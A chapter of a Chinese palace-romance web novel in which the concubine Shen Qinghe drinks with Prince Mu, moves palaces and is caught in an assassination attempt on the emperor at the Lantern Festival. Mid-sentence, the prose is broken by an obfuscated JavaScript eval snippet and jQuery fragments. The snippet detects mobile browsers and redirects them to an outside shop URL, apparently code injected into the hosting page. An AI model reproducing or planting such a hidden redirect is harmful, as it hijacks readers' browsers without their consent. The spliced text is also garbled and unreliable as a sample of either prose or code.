41. 第四十一章
作品:《宠妃升职日常》 “好好好,”李珩对皇后温声细语,“你若是身子有不适,就先回宫休息吧,不用硬撑着。”
“皇帝说得是。”太后也难得给了她一个好脸色。
皇后自然以自己身子为重,面带满足的微笑,顶着众妃复杂的眼神退下了,李珩举杯对大臣们道:“今日朕开心,爱卿们,不醉不归!”
太和殿里热闹非凡,但热闹是皇帝和大臣的,皇帝要有嫡子,大臣要有稳固朝纲的王朝继承人了,与其他妃嫔们并无关系。
沈清禾勉强坐了一个时辰,趁着没人注意赶紧带着辛夷溜出去透气。
辛夷扯着帕子,十分幽怨:“小主,这场元旦献礼您前后花了多少银子心思,好不容易得了皇上赞赏,结果还没高兴呢,皇后娘娘一个有孕,就把您的风头全给挡下去了。”
“谋事在人,成事在天,”沈清禾一开始也很震惊,不过想想,皇后有孕对她来说倒是好事,毕竟这些日子她成了宫里半个靶子,如今皇后将宫里的注意全转移过去,她也就轻松多了,她笑着扯了扯辛夷的手,“别想这么多,咱们是为了皇上高兴,既然皇上确实高兴了,那计较这么多干嘛呢。”
远处忽然飘来几点光亮,沈清禾瞧见了惊奇:“都这个时候了,竟然还有萤火虫。”
或许是喝了酒,她玩性大起,追着萤火虫就往前跑去,辛夷在后面让她慢些,但是又不敢太大声,怕惊动了别人。
不知道吹了多久的冷风,沈清禾脑袋忽然清明起来,才发现自己跑到了一个陌生的宫殿门口,身后辛夷也不见了踪影。
“喝一杯吗?”忽然传来一个陌生的声音,沈清禾吓了一跳,转过身一瞧竟还是个熟悉的人,有过一面之缘的穆王李瑀。
李瑀兀自给她斟了一杯酒放在一边,而后又开始自斟自饮,沈清禾看了看外头有些黑漆的通道,这时候酒醒了,胆子也小了,顺势坐了下来:“穆王怎么不在太和殿和大家一起庆贺元旦,反倒跑到这么偏僻的地方来喝酒?”
李瑀动了动嘴:“烦。”
“……”沈清禾心想,这穆王还真是惜字如金。
“你不难过吗。”正当气氛尴尬,沈清禾想逃离之时,穆王忽然冒出这么一句。
沈清禾一愣,继而看过去,有些不解:“难过?我吗?”
李瑀点点头,他敛着睫羽,深邃的眉骨在朦胧下更显神秘:“今日你为皇兄放焰火、献歌舞,可皇嫂有孕,皇兄十分欢喜,将你抛之脑后,你……不生气吗?”
沈清禾忍不住笑了出来,她坐下,将酒一饮而尽:“穆王,你也是在宫中长大的,宫里的那些争宠手段你还不清楚吗,不过是计输于人罢了,我们的人生这么长,何必为眼前一星半点得失而难过呢,那我不就要错过夜晚的萤火,与眼前的美酒了吗?”
李瑀抬眸看向她,沈清禾避了避,这穆王的眉眼实在锋利,或许是战场上的厮杀残酷,论压迫感,他竟要比皇帝更胜一筹。
李瑀却什么都没说,他只是又为她斟了一杯酒:“这是我从西北带回来的葡萄酒,味道如何?”
沈清禾轻轻松了一口气,她一饮而尽:“好喝,甜丝丝的,却又比米酒更有劲,我还从未尝过葡萄酒呢,今日托了穆王的福。”
李瑀浅浅一笑:“好喝就多喝些,贵人要是喜欢,我让人送些到暖香居。”
沈清禾那根筋又绷了起来:“这、这怎么好意思呢?”
“不是什么为难的事。”
沈清禾不敢再往穆王面上看,直觉告诉她,这个男人十分危险,于是起身:“时辰差不多,我该回去了,穆王还不走吗?”
李瑀往后微仰:“该送的礼都送了,该讲的话也都说了,贵人若是要走,那便慢走。”
他语气似乎冷了些,沈清禾往外走的步伐忽然一顿,捏了捏手心忽的转身,伸手拿过酒壶,往杯里又倒了一杯:“这一杯,多谢穆王方才那一问,妾心领了。”
风带走葡萄甜香,靠坐在树干上的李瑀饮下最后一杯,细细品着酒香,露出几不可见的一个笑,继而湮没在无尽的寂静中。
-
回到殿中正是酒酣耳热的时候,沈清禾一进门琼琚就迎上来,紧张道:“小主,方才太后身边的而嬷嬷传您过去。”
沈清禾脚步一顿:“佛经和百寿缂丝图都准备好了吗?”
琼琚连忙点头,沈清禾翻看了看:“琼琚陪我过去,辛夷先回位置上吧。”
确定没问题后,沈清禾带着琼琚往上面走去,堪堪到柳妃面前的时候停下行了礼:“嫔妾给皇上,太后娘娘请安。”
太后一改从前的不屑,此时竟言笑晏晏:“呦,说曹操曹操就到了。”
沈清禾不知所以然,她呈上佛经:“太后娘娘还记得嫔妾,是妾的荣幸,这是妾抄写了数月的佛经,若是能替太后敬几分佛意,那是再好不过了,还有这百寿缂丝图,祝太后娘娘千岁千千岁。”
嬷嬷接过她手上的东西,太后翻了翻,点头道:“没想到你这个丫头还有这份孝心,不错。皇帝啊,如今皇后有孕了,你也该多去旁的人宫里走走,昭贵人虽说知礼,但还是得雨露均沾呐,哀家今年可还想多听几次喜讯,昭贵人你说呢?”
就说太后怎会忽然这么和蔼,果然没好事。
沈清禾瞧了瞧皇帝,皇帝一脸的神游天外,似乎是喝得有些多,沈清禾还能怎么办,只能连连点头:“太后说得没错。”
谁知下一秒皇帝就眯眼瞧过来,瞪了她一眼。
沈清禾:委屈啊!
还好太后没有再理会她,只对身旁的皇帝道:“皇帝你听听,你啊,也该懂事些,别还跟小时候一样……”
眼见皇帝的脸色开始不耐烦起来,丁嬷嬷连忙道:“太后您喝得有些多了,来人,快拿些醒酒茶来。”
这么一打岔,太后也意识到了皇帝的脸色难看,她叹息着起身:“行了,哀家也不在这碍你的眼了,嬷嬷,扶我回去吧。”
“嫔妾恭送太后娘娘。”
太后皇后都走了,这下妃嫔们彻底热闹起来,沈清禾连忙退下,却听皇帝在上头幽幽道:“爱妃不是喜欢喝酒吗,来人,给昭贵人再多上几壶。”
沈清禾心底再次哀嚎:冤枉啊。
-
夜间小道,丁嬷嬷拎着灯笼走在前头,太后慢悠悠走着,嘴里道:“皇后这个孩子来得倒是时候,也是巧了,前面十年一点消息都没有,哀家还以为她不会生呢,结果这时候倒有了身孕,哎呦,真是稀奇。”
说着说着,太后冷笑一声:“不过,她要以为自己有了孩子就万事俱备,那可就错了,国舅这些日子吃了多少挂落,你再看那姓季的,在这朝堂上说一不二,简直就是一人之下万人之上,多风光啊,可风光,总不能只风光他一家的。”
“那件事准备地怎么样了?”太后冷不丁这么一问。
丁嬷嬷立马就站直了:“回娘娘,人都选好了,也教了个把月,再有个半年说不定就成了。”
“半年?不行,太久了,那时候孩子都快生下来了,叫哀家怎么等,半个月,哀家就给你半个月的时间,务必要安排地妥妥帖帖,这前朝后宫,绝不能是季家一家的天下,明白吗?”
丁嬷嬷低下头:“奴婢明白。”
-
自皇后透露出有孕的消息后,景仁宫的请安都免了大半,但即便是这样,宫里还是到处都在议论皇后有身孕这件事。
这可是件特大事!
若皇后诞下嫡子,那可就是板上钉钉的太子!
大家面上都瞧着和和乐乐,恭祝皇后有孕,可私底下到底怎么想的谁都不知道。
不过这对来说沈清禾还是比较遥远的事,她现在最重要的任务就是升位分,要不然以她贵人的位分,在后宫都排不上号,别说几十年后的皇位之争了,现在连争的资格都没有。
不过过完元旦还是有一桩好事的,她能终于从那个小小的暖香居搬出来了,选了个吉日正式搬入了未央宫侧殿。
侧殿比暖香居大了不止一点,原来书房只是在寝殿旁隔出了一小间,如今的书房比卧房还要大,各种博古架屏风贵妃塌都能放得开了,沈清禾特意让人编了些草席作窗帘装饰,再挂上一些书画,十分有古朴清爽的味道。
李珩也十分喜欢她这个布置,然后果然不负众望,转头就将她书房里的草席搬走了。
沈清禾也是拿他没办法,之后又叫了编了好些草蚂蚱、蜻蜓、蝴蝶等,一样叫人准备了两份,等皇帝看到眼睛发亮的时候,就赶紧叫人送了过去。
瞧着终于安分下来的书房,沈清禾无奈摇头:“皇上有时候可真像个孩子。”
周黎奉上一盘山楂酥:“小主,您这些日子忙着搬家,饭都没好好吃,用些点心垫垫肚子吧。”
沈清禾往嘴里送了一个,接着眼睛一亮:“嗯,好吃,这做山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856969|187352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楂酥的师傅手艺变好了。”
辛夷笑:“哪是御膳房的师傅手艺变好了,是我们侧殿多了个手巧的厨子。”
她看向周黎,沈清禾惊讶:“这是周黎你做的?”
周黎无奈点头:“是,小时候家里正好有张山楂酥的方子,小主爱吃,我便试了试,味道还不错,才敢呈上来。”
“哪里是不错,是非常不错,小主您不知道,周公公方才做的时候,香味都把我们馋的直流口水呢。”
沈清禾笑起来:“没想到周黎不仅能文会武,竟还能下得厨房,这么心灵手巧,辛夷你也别馋了,剩下这些你去分了,让大家都尝尝周黎的手艺。”
辛夷啊了一声:“这不好吧,小主你都没吃多少呢,这些日子您胃口越来越差,咱们瞧着担心呀。”
好像确实如此,但沈清禾实在不饿,挥了挥手道:“既然没病没痛的,想来不是很严重,若是过两天还是如此,便请个太医来。”
“是。”
辛夷端着剩下的山楂酥下去了,周黎站在一旁,手指微动。
晚上李珩带来个好消息:“元宵灯节就要来了,年年在宫里赏灯,无趣得很,今年你陪朕去宫外逛逛,朕带你瞧瞧京城的元宵有多热闹。”
沈清禾也有几个月没出宫了,喜得站了起来:“好呀好呀,那皇上,我们还是伴作普通百姓吗。”
李珩掐了掐她的脸:“是普通夫妻。”
到了元宵节那一日,两人穿上普通绸缎衣裳,瞒着全宫人偷偷出了宫。
夜色将近,天边弥漫着粉雾般的晚霞,整条街上已开始点灯,每家店前都挂了好些灯笼,有兔子灯、莲花灯、走马灯、宝塔灯等,五彩斑斓,沈清禾为眼前的景色着了迷:“天呐,京城的元宵花灯节果然百闻不如一见,简直太过壮观了!”
“等到夜里,更为壮观,”李珩大手一挥,“今日喜欢什么东西,就通通买下来。”
沈清禾装模作样福了福身:“那小女子就多谢夫君慷慨解囊。”
不远处传来喧哗,沈清禾忍不住抬头望去,隐隐看到了有什么东西在高空舞动,却看不清楚,李珩见此拉着她:“都在外头了,怎么还如此拘谨,走,朕、我带你去看。”
两人流入喧闹的人群,越走离热闹越近,沈清禾也终于看清了真面目,原来是前面在舞龙舞狮,她也拍手叫好:“皇、夫君你快看!”
陈德应被挤得差点喘不过气,在后面为难道:“爷,前边人太多了,挤得很,危险呐。”
沈清禾闻言也停了下来:“陈公公说得有理,您的安危最重要,您瞧,那边有座酒楼,咱们去雅座里坐着瞧吧。”
李珩自然点头,然而就在这时,忽然一声铮鸣,有人暴喝一声:“狗贼,看剑!”
那剑竟向皇帝刺来了,沈清禾与李珩还没慌,身边人就尖叫慌乱起来。
陈德应吓得魂都要出来了,今天真是倒了大霉了,皇上非得带着昭贵人出来,这下好了吧,竟然遇刺了,唉失策啊!就该让江秉信那个贱骨头跟来才是。
他顾不得掩饰身份,当即就喊:“护驾护驾!有人行刺皇上,快来护驾!”
一旁也打扮成普通人的侍卫顿时暴起,将行刺之人挑开,然而竟还不止一人,又有人往这边刺来,更糟糕的是人群拥挤,一慌就开始乱跑。
沈清禾不知道被什么挤到了手,痛叫一声只能放开,再抬起头,眼前已经没了熟悉的身影,到处都是乌泱泱的人,到处都是陌生的脸,她只能跟着人群随波逐流。
她脑袋嗡地一声,很快又冷静下来。
不行,不能被挤在中间,她要去旁边,去旁边的店里,再这么挤下去,万一发生踩踏就完蛋了。
然而她一个人的力量是渺小的,她咬牙往外挤去,却很快又被推回来,且她感觉人群越来越密,她甚至有些喘不上气来了,心中一下慌乱起来,不会吧,她不会这么背吧,难不成今日就要丧命于此?
眼泪开始在眼眶聚集,她还没看着父亲升迁,她还没开启自己的人生,还没孕育自己的子嗣……
她忽然想到什么,抬头望向高处酒楼,两行清泪随之落下:“救命,救救我,只要能救我,我愿意付出所有代价!”
她其实什么都看不太清了,上面有没有人,有什么人,不过是死马当活马医,谁知道就在她刚喊出这句话时,身体忽然一阵轻,再清醒时,她竟已经站在了酒楼雅间。

